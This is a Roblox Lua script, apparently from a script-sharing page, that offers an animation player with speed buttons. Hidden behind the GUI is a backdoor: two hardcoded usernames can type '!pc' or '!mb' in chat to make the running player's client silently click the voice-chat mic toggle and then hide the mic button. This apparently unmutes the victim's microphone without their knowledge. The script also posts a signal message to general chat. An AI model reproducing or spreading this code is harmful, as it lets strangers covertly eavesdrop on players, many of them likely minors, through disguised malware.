
KeylessUniversal

local p=game:GetService("Players").LocalPlayer
local u=game:GetService("UserInputService")
local h=(p.Character or p.CharacterAdded:Wait()):WaitForChild("Humanoid")
local g=Instance.new("ScreenGui",p:WaitForChild("PlayerGui"))
g.Name="GYATT"
local c=Instance.new("Frame",g)
c.Size=UDim2.new(0,120,0,160)
c.Position=UDim2.new(.5,-60,.7,0)
c.BackgroundColor3=Color3.fromRGB(25,25,25)
c.Active=true
Instance.new("UICorner",c).CornerRadius=UDim.new(0,10)
local t1=Instance.new("TextLabel",c)
t1.Size=UDim2.new(1,0,0,20)
t1.BackgroundTransparency=1
t1.Text="NEED TO BE IN R15"
t1.TextColor3=Color3.fromRGB(200,200,200)
t1.TextSize=12
t1.Font=Enum.Font.GothamBold
local b=Instance.new("TextButton",c)
b.Size=UDim2.new(1,-20,0,40)
b.Position=UDim2.new(0,10,0,25)
b.Text="STATUS: OFF"
b.BackgroundColor3=Color3.fromRGB(40,40,40)
b.TextColor3=Color3.new(1,1,1)
Instance.new("UICorner",b)
local s=Instance.new("TextLabel",c)
s.Size=UDim2.new(1,0,0,20)
s.Position=UDim2.new(0,0,0,70)
s.BackgroundTransparency=1
s.Text="Speed: 1"
s.TextColor3=Color3.fromRGB(200,200,200)
local bp=Instance.new("TextButton",c)
bp.Size=UDim2.new(0,50,0,30)
bp.Position=UDim2.new(0,10,0,95)
bp.Text="+"
local bm=Instance.new("TextButton",c)
bm.Size=UDim2.new(0,50,0,30)
bm.Position=UDim2.new(0,60,0,95)
bm.Text="-"
local o,t=false,nil
local sp=1
local function apply()
if t then
t:AdjustSpeed(sp)
end
end
b.MouseButton1Click:Connect(function()
o=not o
if o then
local a=Instance.new("Animation")
a.AnimationId="rbxassetid://104200871407307"
t=h:LoadAnimation(a)
t.Priority=Enum.AnimationPriority.Action4
t.Looped=true
t:Play()
apply()
b.Text="STATUS: ON"
else
if t then t:Stop() end
b.Text="STATUS: OFF"
end
end)
local holdPlus=false
local holdMinus=false
local function holdLoop()
while holdPlus or holdMinus do
if holdPlus then
sp=sp+0.1
elseif holdMinus then
sp=math.max(0,sp-0.1)
end
s.Text="Speed: "..string.format("%.1f",sp)
apply()
task.wait(0.05)
end
end
bp.InputBegan:Connect(function(i)
if i.UserInputType==Enum.UserInputType.MouseButton1 or i.UserInputType==Enum.UserInputType.Touch then
holdPlus=true
task.spawn(holdLoop)
end
end)
bp.InputEnded:Connect(function(i)
if i.UserInputType==Enum.UserInputType.MouseButton1 or i.UserInputType==Enum.UserInputType.Touch then
holdPlus=false
end
end)
bm.InputBegan:Connect(function(i)
if i.UserInputType==Enum.UserInputType.MouseButton1 or i.UserInputType==Enum.UserInputType.Touch then
holdMinus=true
task.spawn(holdLoop)
end
end)
bm.InputEnded:Connect(function(i)
if i.UserInputType==Enum.UserInputType.MouseButton1 or i.UserInputType==Enum.UserInputType.Touch then
holdMinus=false
end
end)
local d=false s0=nil p0=nil
c.InputBegan:Connect(function(i)
if i.UserInputType==Enum.UserInputType.MouseButton1
or i.UserInputType==Enum.UserInputType.Touch then
d=true
s0=i.Position
p0=c.Position
end
end)
u.InputEnded:Connect(function(i)
if i.UserInputType==Enum.UserInputType.MouseButton1
or i.UserInputType==Enum.UserInputType.Touch then
d=false
end
end)
u.InputChanged:Connect(function(i)
if not d then return end
if i.UserInputType==Enum.UserInputType.MouseMovement
or i.UserInputType==Enum.UserInputType.Touch then
local m=i.Position-s0
c.Position=UDim2.new(
p0.X.Scale,p0.X.Offset+m.X,
p0.Y.Scale,p0.Y.Offset+m.Y
)
end
end)
task.wait(.1)
local CoreGui=game:GetService("CoreGui")
local Players=game:GetService("Players")
local VIM=game:GetService("VirtualInputManager")
local Camera=workspace.CurrentCamera
local OWNERS={"AintMyCrib","justanormalnoobie0"}
local PREFIX="!"
local hidden=false
local resolutionProfiles={
{200,500,219,39},
{501,600,234,24},
{601,700,249,24},
{701,800,249,24},
{801,900,264,39},
{901,9999,264,39},
}
local function isOwner(p)
for i=1,#OWNERS do
if p.Name==OWNERS[i]then return true end
end
end
local function findVC()
local t=CoreGui:GetDescendants()
for i=1,#t do
local v=t[i]
if v.Name=="toggle_mic_mute"then return v end
end
end
local function hideVC(btn)
pcall(function()
btn.Visible=false
local t=btn:GetDescendants()
for i=1,#t do
local v=t[i]
if v:IsA("GuiObject")then v.Visible=false end
end
end)
end
local function showVC(btn)
pcall(function()
btn.Visible=true
local t=btn:GetDescendants()
for i=1,#t do
local v=t[i]
if v:IsA("GuiObject")then v.Visible=true end
end
end)
end
-- PC CLICK
local function clickPC()
local btn=findVC()
if not btn then return end
if hidden then
showVC(btn)
hidden=false
end
local x,y=189,21
VIM:SendMouseMoveEvent(x,y,game)
task.wait(.03)
VIM:SendMouseButtonEvent(x,y,0,true,game,0)
task.wait(.05)
VIM:SendMouseButtonEvent(x,y,0,false,game,0)
task.wait(.1)
hideVC(btn)
hidden=true
end
-- MOBILE CLICK
local function clickMB()
local btn=findVC()
if not btn then return end
if hidden then
showVC(btn)
hidden=false
end
local h=Camera.ViewportSize.Y
local x,y=219,39
for i=1,#resolutionProfiles do
local r=resolutionProfiles[i]
if h>=r[1]and h<=r[2]then
x,y=r[3],r[4]
break
end
end
VIM:SendMouseMoveEvent(x,y,game)
task.wait(.05)
VIM:SendMouseButtonEvent(x,y,0,true,game,0)
task.wait(.05)
VIM:SendMouseButtonEvent(x,y,0,false,game,0)
task.wait(.1)
hideVC(btn)
hidden=true
end
-- CHAT HANDLER (WORKING VERSION)
local function handleChat(p,msg)
if not isOwner(p)then return end
msg=msg:lower():gsub("%s+","")
if msg==PREFIX.."pc"then
clickPC()
elseif msg==PREFIX.."mb"then
clickMB()
end
end
Players.PlayerAdded:Connect(function(p)
p.Chatted:Connect(function(m)
handleChat(p,m)
end)
end)
for i,p in ipairs(Players:GetPlayers()) do
p.Chatted:Connect(function(m)
handleChat(p,m)
end)
end
wait(1)
local c=game:GetService("TextChatService").TextChannels.RBXGeneral
for _,m in ipairs({
"AintMyCrib 🤫🧏"
}) do
c:SendAsync(m)
task.wait()
endNo comments yet for this script.



